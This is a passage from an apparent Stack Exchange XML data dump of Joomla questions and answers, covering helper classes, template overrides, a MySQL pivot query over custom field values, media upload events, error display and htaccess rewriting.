&lt;p&gt;administrator/components/com_mycomponent/controller.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'll want to load the class, using &lt;code&gt;JLoader&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('MyComponentHelper', JPATH_ADMINISTRATOR . '/components/com_mycomponent/helpers/contact.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once done, you will need to instantiate the class in your view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyComponentHelper::addSubmenu();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As far as I know, there is no namespaced version of &lt;code&gt;\JHtmlSidebar&lt;/code&gt; so I'm not sure if it's going to be supported or replaced in J4.&lt;/li&gt;&#xA;&lt;li&gt;I haven't tested this as I don't really work with components&lt;/li&gt;&#xA;&lt;li&gt;You will need to add the &lt;code&gt;getObject()&lt;/code&gt; method to the class or change the &lt;code&gt;$this-&amp;gt;getObject()&lt;/code&gt; reference if it's coming from a different class.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-10-15T10:51:59.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26273" PostTypeId="2" ParentId="26271" CreationDate="2019-10-15T11:01:48.913" Score="1" Body="&lt;p&gt;Any layout or view can be overridden in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this in your Joomla admin panel, by going to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions (top menu) &gt;&gt; Templates &gt;&gt; Templates &gt;&gt; Details and Files&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once there, go to the &quot;Create Overrides&quot; tab, and you will be able to select your component annd the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's say you create an override for &lt;strong&gt;com_content/archive&lt;/strong&gt;. This will oveeride the files in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ROOT/components/com_content/views/archive/tmpl&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and create the overrides in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ROOT/templates/your_template/html/com_content/archive&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you compare the paths, you'll get a better idea of how the override path is created.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-10-15T11:01:48.913" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26274" PostTypeId="2" ParentId="18921" CreationDate="2019-10-15T14:25:31.437" Score="1" Body="&lt;p&gt;I also made a few changes to Lodder's excellent post to go back to listing all items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '| &amp;lt;a href=&quot;#&quot; data-alpha=&quot;000&quot;&amp;gt;All&amp;lt;/a&amp;gt; | ';&#xA;$alphas = range('A', 'Z');&#xA;foreach ($alphas as $item)&#xA;{&#xA;    echo '&amp;lt;a href=&quot;#&quot; data-alpha=&quot;' . $item . '&quot;&amp;gt;' . $item . '&amp;lt;/a&amp;gt; | ';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the JS script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;    jQuery(document).ready(function($) {&#xA;        $('a[data-alpha]').on('click', function(e) {&#xA;            e.preventDefault();&#xA;&#xA;            if ($(this).attr('data-alpha') === '000') {&#xA;                $('[data-category]').show();&#xA;            } else {&#xA;                $('[data-category]').hide();&#xA;                $('[data-category=\&quot;' + $(this).attr('data-alpha') + '\&quot;]').show();&#xA;           }&#xA;       });&#xA;   });&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13836" LastEditorUserId="12352" LastEditDate="2019-10-15T23:07:49.067" LastActivityDate="2019-10-15T23:07:49.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26275" PostTypeId="2" ParentId="26269" CreationDate="2019-10-16T08:02:34.080" Score="0" Body="&lt;p&gt;These specific fields are hardcoded in the layout so using a form plugin to move them around won't work. To make any changes you'd have to create a template override. Copy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_modules/views/module/tmpl/edit.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/templates/your_template/html/com_modules/module/edit.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And customize it to your liking.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-16T08:02:34.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26276" PostTypeId="2" ParentId="26271" CreationDate="2019-10-16T12:13:44.543" Score="1" Body="&lt;p&gt;To answer the question about what is core and what isn't when you look at the extensions under the Extensions-&gt;Manage-&gt;Manage menu look at the ID column on the far right and if the ID is less than 999(or only has three digits) then it is core, if it above 10000 then it is 3rd party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site has been progressively migrated from early versions of Joomla this may not hold true, but a for most cases it does.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-10-16T12:13:44.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26277" PostTypeId="1" AcceptedAnswerId="26283" CreationDate="2019-10-16T14:11:18.760" Score="1" ViewCount="97" Body="&lt;p&gt;I have the following (working) query to get &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt; and the &lt;code&gt;value&lt;/code&gt; of a custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Select name and username from USERS table and value from FIELDS_VALUES table.&#xA;// Define USERS table as ju&#xA;// Define FIELD_VALUES as jfv and match id and item_id to perform an inner join&#xA;// Set condition&#xA;// Set Order as ascending&#xA;&#xA;$query&#xA;    -&amp;gt;select(array('ju.username', 'ju.name', 'jfv.value'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__users', 'ju'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__fields_values', 'jfv') . ' ON (' . $db-&amp;gt;quoteName('ju.id') . ' = ' . $db-&amp;gt;quoteName('jfv.item_id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('jfv.value') . ' LIKE ' . $db-&amp;gt;quote('C%'))&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('ju.username') . ' ASC');&#xA;&#xA;// Reset the query using our newly populated query object.&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Load results as a list of objects in an array&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;print_r($results);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is used to display the &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;username&lt;/code&gt; of a user together with &lt;code&gt;door&lt;/code&gt;, &lt;code&gt;floor&lt;/code&gt; and &lt;code&gt;staircase&lt;/code&gt; in an apartment building. In this case all people from &lt;code&gt;staircase&lt;/code&gt; &quot;C&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table &lt;code&gt;#__fields_values&lt;/code&gt; looks like this for user &lt;code&gt;48&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_id | item_id | value |&#xA;============================&#xA;2        | 48      | 5     |&#xA;============================&#xA;3        | 48      | C     |&#xA;============================&#xA;4        | 48      | 2     |&#xA;============================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above table:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;door&lt;/code&gt; value is &lt;code&gt;5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;staircase&lt;/code&gt; value is &lt;code&gt;C&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;floor&lt;/code&gt; value is &lt;code&gt;2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My problem is that my output looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;    [0] =&amp;gt; stdClass Object (&#xA;        [username] =&amp;gt; C1 [name] =&amp;gt; NameOfTheGuy [value] =&amp;gt; C&#xA;    )...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but what I need is to have the &lt;code&gt;floor&lt;/code&gt; value, not the &lt;code&gt;staircase&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to assign an alias based on the value inside a column (let's say &lt;code&gt;jvf.staircase&lt;/code&gt; if &lt;code&gt;jfv.field_id = 3&lt;/code&gt;)?&#xA;Or is there a better way to achieve what I want to do?&lt;/p&gt;&#xA;" OwnerUserId="13844" LastEditorUserId="12352" LastEditDate="2019-10-18T05:10:36.333" LastActivityDate="2019-10-19T00:25:17.943" Title="How to collect multi-row data from #__fields_values and assign specific aliases for each value in the result set?" Tags="|mysql|jdatabase|sql|alias|pivot|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26278" PostTypeId="1" CreationDate="2019-10-16T14:36:07.733" Score="0" ViewCount="130" Body="&lt;p&gt;I want to be able to programatically keep track of new images that have been added, so that I can periodically run a script that does something with the new images. My idea is to have a plugin that can listen for the event of someone adding a new image, and append its file path to a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such an event exist? Does it depend on how the image gets added? (For example they might upload the image through the media manager or through the J2Store product interface.)&lt;/p&gt;&#xA;" OwnerUserId="13088" LastActivityDate="2019-10-16T16:45:18.090" Title="Listening for a &quot;image upload&quot; event" Tags="|images|file-upload|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26279" PostTypeId="2" ParentId="26278" CreationDate="2019-10-16T16:45:18.090" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does such an event exist?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Core &lt;code&gt;com_media&lt;/code&gt; component uses the same events as other core components: &lt;code&gt;onContentBeforeSave&lt;/code&gt;, &lt;code&gt;onContentAfterSave&lt;/code&gt;, &lt;code&gt;onContentBeforeDelete&lt;/code&gt; and &lt;code&gt;onContentAfterDelete&lt;/code&gt;. You'll need to check that context is &lt;code&gt;com.media.file&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave($context, $item, $isNew)&#xA;{&#xA;    if ($context !== 'com_media.file')&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    // Add your code here.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does it depend on how the image gets added?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, other extensions may trigger different events.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-16T16:45:18.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26280" PostTypeId="1" CreationDate="2019-10-16T23:27:43.093" Score="1" ViewCount="20" Body="&lt;p&gt;I try to avoid showing this type of messages to the user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/shcJi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/shcJi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to do it by modifying the global configuration but without success, I specifically modified the options Global configuration&gt; System&gt; Debug system I set the value to no, and in Global configuration&gt; Server&gt; Error reporting the value to none, although I understand this is related to logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found that in the file &lt;code&gt;templates/fontaine_j3_temp/error.php&lt;/code&gt; where fontaine_j3_temp corresponds to active template I can modify the error output, but I would like to know if it is possible to do it through the Joomla configuration without perhaps the need to modify templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe configure the joomla instance to only show this type of errors in development and some modified error message in production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the suggestions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this type of error message displayed as flash messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LO8vk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LO8vk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this type of message, I thought of some kind of core event that could intersect with a plugin&lt;/p&gt;&#xA;" OwnerUserId="13628" LastEditorUserId="13628" LastEditDate="2019-10-17T03:26:05.677" LastActivityDate="2019-10-17T03:26:05.677" Title="How to avoid showing to users errors of type SQLSTATE?" Tags="|error-handling|global-configuration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26281" PostTypeId="1" CreationDate="2019-10-17T04:00:16.853" Score="0" ViewCount="24" Body="&lt;p&gt;I have an issue on multiple pages, which I cannot explain myself.&#xA;All pages have in common that they use &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gantry 5 based themes&lt;/li&gt;&#xA;&lt;li&gt;nearly the same plugins&lt;/li&gt;&#xA;&lt;li&gt;the magically disappearing section is &lt;code&gt;&amp;lt;section id=&quot;g-fullwidth&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;issue only happens if caching is activated&lt;/li&gt;&#xA;&lt;li&gt;the section disappears after a short period of time after the cache clean operation (not immediately)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since in the full width section I have only the revolution slider I am not sure if it is somehow connected to it. So I've created a second module as custom HTML and added it to the fullwidth section/postiion and even this part disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here only the differences of the working page html directly after the cache clean (left side of the compare) and the non working html after some hours of being online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bQUld.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bQUld.png&quot; alt=&quot;html header and full width section compared uncached and cached&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and lower in the HTML&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QIdQd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIdQd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any ideas how to track this issue down (debug)?&lt;/li&gt;&#xA;&lt;li&gt;Even more interesting, how to fix this issue?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13241" LastEditorUserId="3956" LastEditDate="2019-10-17T08:43:16.293" LastActivityDate="2019-10-17T08:43:16.293" Title="Magically sections and positions getting lost or deleted" Tags="|joomla-3.x|cache|positions|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26282" PostTypeId="1" CreationDate="2019-10-17T07:13:47.027" Score="0" ViewCount="261" Body="&lt;p&gt;I installed Joomla using a quickstart package and store the files in a subfolder (named: jml) in public_html/jml. I normally use the following commands to rewrite the url from &lt;a href=&quot;https://www.test.com/jml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.test.com/jml&lt;/a&gt; to &lt;a href=&quot;https://www.test.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.test.com/&lt;/a&gt; (to hide the &quot;jml&quot;). It works correctly with new Joomla installation, but with this quickstart package it can only  hide the folder named &quot;jml&quot; for backend (&lt;a href=&quot;https://www.test.com/administrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.test.com/administrator&lt;/a&gt;) but not the frontend as it will still show &lt;a href=&quot;https://www.test.com/jml/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.test.com/jml/&lt;/a&gt; even though all settings have been set accordingly. I'm not sure which file I need to check and not very familiar with htaccess. Can you advise how to fix this issue? Could it be file permission? Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings: &#xA;- Use URL Rewriting (enabled)&#xA;- live_site (&lt;a href=&quot;https://www.test.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.test.com&lt;/a&gt;)&#xA;- RewriteBase / (enabled)&#xA;- cpanel doesn't have the feature to set root folder.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;htaccess&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^test.com$ [NC,OR]&#xA;RewriteCond %{HTTP_HOST} ^www.test.com$&#xA;RewriteCond %{REQUEST_URI} !jml/&#xA;RewriteRule (.*) /jml/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="13818" LastEditorUserId="13818" LastEditDate="2019-10-18T06:09:55.507" LastActivityDate="2019-10-18T06:09:55.507" Title="htaccess to hide Joomla in public_html -&gt; subfolder" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26283" PostTypeId="2" ParentId="26277" CreationDate="2019-10-17T07:56:08.560" Score="0" Body="&lt;p&gt;Raw Pivot Query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ju.username,&#xA;       ju.name,&#xA;       MAX(IF(jfv.field_id = 2, jfv.value, NULL)) AS `door`,&#xA;       MAX(IF(jfv.field_id = 3, jfv.value, NULL)) AS `staircase`,&#xA;       MAX(IF(jfv.field_id = 4, jfv.value, NULL)) AS `floor`&#xA;FROM `#__users` AS ju&#xA;INNER JOIN `#__fields_values` AS jfv ON ju.id = jfv.item_id&#xA;GROUP BY ju.username ASC, ju.name&#xA;HAVING MAX(IF(jfv.field_id = 3, jfv.value, NULL)) LIKE 'C%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possible Result Set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| username | name  | door | staircase | floor |&#xA;| -------- | ----- | ---- | --------- | ----- |&#xA;| FollaKY  | Folla | 5    | C         | 2     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/ms4n8QxymVdKsXS7fJ9hec/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;View Demo on DB Fiddle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP/Joomla Code (&lt;s&gt;untested&lt;/s&gt; tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$juUsername = $db-&amp;gt;qn(&quot;ju.username&quot;);   // Cache this (D.R.Y.)&#xA;$juName     = $db-&amp;gt;qn(&quot;ju.name&quot;);       // Cache this (D.R.Y.)&#xA;$jfvFieldId = $db-&amp;gt;qn(&quot;jfv.field_id&quot;);  // Cache this (D.R.Y.)&#xA;$jfvValue   = $db-&amp;gt;qn(&quot;jfv.value&quot;);     // Cache this (D.R.Y.)&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&#xA;        $juUsername,&#xA;        $juName,&#xA;        &quot;MAX(IF($jfvFieldId = 2, $jfvValue, NULL)) AS &quot; . $db-&amp;gt;qn('door'),&#xA;        &quot;MAX(IF($jfvFieldId = 3, $jfvValue, NULL)) AS &quot; . $db-&amp;gt;qn('staircase'),&#xA;        &quot;MAX(IF($jfvFieldId = 4, $jfvValue, NULL)) AS &quot; . $db-&amp;gt;qn('floor')&#xA;    ])&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__users', 'ju'))&#xA;    -&amp;gt;innerJoin($db-&amp;gt;qn('#__fields_values', 'jfv') . ' ON ' . $db-&amp;gt;qn('ju.id') . ' = ' . $db-&amp;gt;qn('jfv.item_id'))&#xA;    -&amp;gt;group([&#xA;        &quot;$juUsername ASC&quot;,  // declare the sorting order here&#xA;        $juName&#xA;    ])&#xA;    -&amp;gt;having(&quot;MAX(IF($jfvFieldId = 3, $jfvValue, NULL) LIKE &quot; . $db-&amp;gt;q(&quot;C%&quot;));&#xA;&#xA;// echo $query-&amp;gt;dump();  // uncomment if you want to confirm the rendered query&#xA;try {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    var_export($db-&amp;gt;loadObjectList());&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanation in steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Join the &lt;code&gt;users&lt;/code&gt; table to the &lt;code&gt;fields_values&lt;/code&gt; table.  This is a one-to-many relationship for each &lt;code&gt;users&lt;/code&gt; row.  Using &lt;code&gt;INNER JOIN&lt;/code&gt; is different from &lt;code&gt;LEFT JOIN&lt;/code&gt; because &lt;code&gt;INNER JOIN&lt;/code&gt; will omit &lt;code&gt;users&lt;/code&gt; rows that do not have at least one &lt;code&gt;fields_values&lt;/code&gt; row to relate to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To prevent multiple rows for the same user, &lt;code&gt;GROUP BY&lt;/code&gt; is implemented.  This creates &quot;aggregate data&quot; (in other words, a cloud|mass|cluster|pile of &lt;code&gt;fields_values&lt;/code&gt; data specific to that user) for each user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To determine which users qualify for the result set based on a row-specific value in &lt;code&gt;fields_values&lt;/code&gt;, you will need to perform a comparison on the aggregate data.  The &lt;code&gt;HAVING&lt;/code&gt; clause will check all of the aggregate data. If an aggregate row does not have a &lt;code&gt;field_id&lt;/code&gt; of &lt;code&gt;3&lt;/code&gt; then it is assigned a value of &lt;code&gt;NULL&lt;/code&gt; (within the scope of this sub-process). If the &lt;code&gt;field_id&lt;/code&gt; is &lt;code&gt;3&lt;/code&gt;, then the original &lt;code&gt;value&lt;/code&gt; is maintained. This creates (unless you have a row with &lt;code&gt;field_id&lt;/code&gt; of &lt;code&gt;3&lt;/code&gt; and a &lt;code&gt;value&lt;/code&gt; of &lt;code&gt;NULL&lt;/code&gt; -- in which case every &lt;code&gt;value&lt;/code&gt; is &lt;code&gt;NULL&lt;/code&gt;) a lone non-NULL value to be &quot;picked up&quot; by &lt;code&gt;MAX()&lt;/code&gt; -- apply your comparison logic on this lone value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now that all of the joining, grouping, and filter are finished, it is time to fix up the actual result set.  At this point, there is still &quot;aggregate data&quot; being sent to the &lt;code&gt;SELECT&lt;/code&gt; clause, but the result set cannot be delivered with &quot;aggregate data&quot; in it (in other words, the rows need to be flattened).  Using the same &lt;em&gt;filter&amp;amp;max&lt;/em&gt; technique as in the &lt;code&gt;HAVING&lt;/code&gt; clause, manually write each specific column that you wish to generate for each row in the result set -- assign whatever column alias you wish after &lt;code&gt;AS&lt;/code&gt;.  Done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now there are a few ways to code this up...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;D.R.Y.&quot; (found as comments in my script) stands for &quot;Don't Repeat Yourself&quot;.  This is a best practices technique which helps to keep your script lean and clean and it spares php having to perform the same task multiple times.&lt;/li&gt;&#xA;&lt;li&gt;Sometimes you will see &lt;code&gt;CASE-WHEN&lt;/code&gt; statements instead of &lt;code&gt;IF&lt;/code&gt; statements inside of &lt;code&gt;MAX()&lt;/code&gt; these are logically interchangeable.&lt;/li&gt;&#xA;&lt;li&gt;Result set sorting can be done inside of the &lt;code&gt;GROUP BY&lt;/code&gt; clause in this scenario, but can also be done with an &lt;code&gt;ORDER BY&lt;/code&gt; clause.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;NONE&lt;/strong&gt; of the &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; calls are &lt;em&gt;actually&lt;/em&gt; necessary for this query because none of the table or column names have monkeywrenching characters or are on &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/keywords.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the list of MySQL Reserved Keywords&lt;/a&gt;.  As you can see, all of those concatenations and quoting calls reeeeeeally bloat the syntax and make reading and finding typos much harder.  If this was my project, I'd be inclined to remove all of the backtick-generating calls and I would also remove quoting calls on static strings like &lt;code&gt;C%&lt;/code&gt; ...but this is all a matter of personal preference.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-10-19T00:25:17.943" LastActivityDate="2019-10-19T00:25:17.943" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="26284" PostTypeId="2" ParentId="26282" CreationDate="2019-10-17T22:27:18.050" Score="1" Body="&lt;p&gt;I use pretty much the same code for most of my sites and to make it work I have to hard code the site domain into the livesite variable in configuration.php. You cannot check or change it through the Global Configuration of your Administrator area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to login to your hosting account and go to the root directory of your site, in this case /jml and have a look at the $livesite= in configuration.php and perhaps compare it to your site that is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be &lt;code&gt;$livesite='https://www.test.com',&lt;/code&gt; in my experience.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-10-17T22:27:18.050" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26285" PostTypeId="5" CreationDate="2019-10-18T07:21:07.993" Score="0" Body="&lt;p&gt;While MySQL does not have a &lt;code&gt;PIVOT&lt;/code&gt; function, this can be replicated using an aggregate function and either a &lt;code&gt;CASE&lt;/code&gt; statement or &lt;code&gt;IF()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PostgreSQL (true in 9.3 and below, at least) does not offer &lt;code&gt;PIVOT&lt;/code&gt;, but does supply &lt;a href=&quot;http://www.postgresql.org/docs/current/static/tablefunc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;code&gt;crosstab&lt;/code&gt; function from the bundled &lt;code&gt;tablefunc&lt;/code&gt; extension&lt;/a&gt;. This function may be used, albeit awkwardly, to achieve the same effect.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-10-18T07:21:07.993" LastActivityDate="2019-10-18T07:21:07.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26286" PostTypeId="4" CreationDate="2019-10-18T07:21:07.993" Score="0" Body="This tag is for questions that deal with PIVOT syntax which converts row data into columnar data.  This technique is commonplace when collecting one-to-many rows from tables such as Joomla's `#__fields_values`." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-10-18T07:21:07.993" LastActivityDate="2019-10-18T07:21:07.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
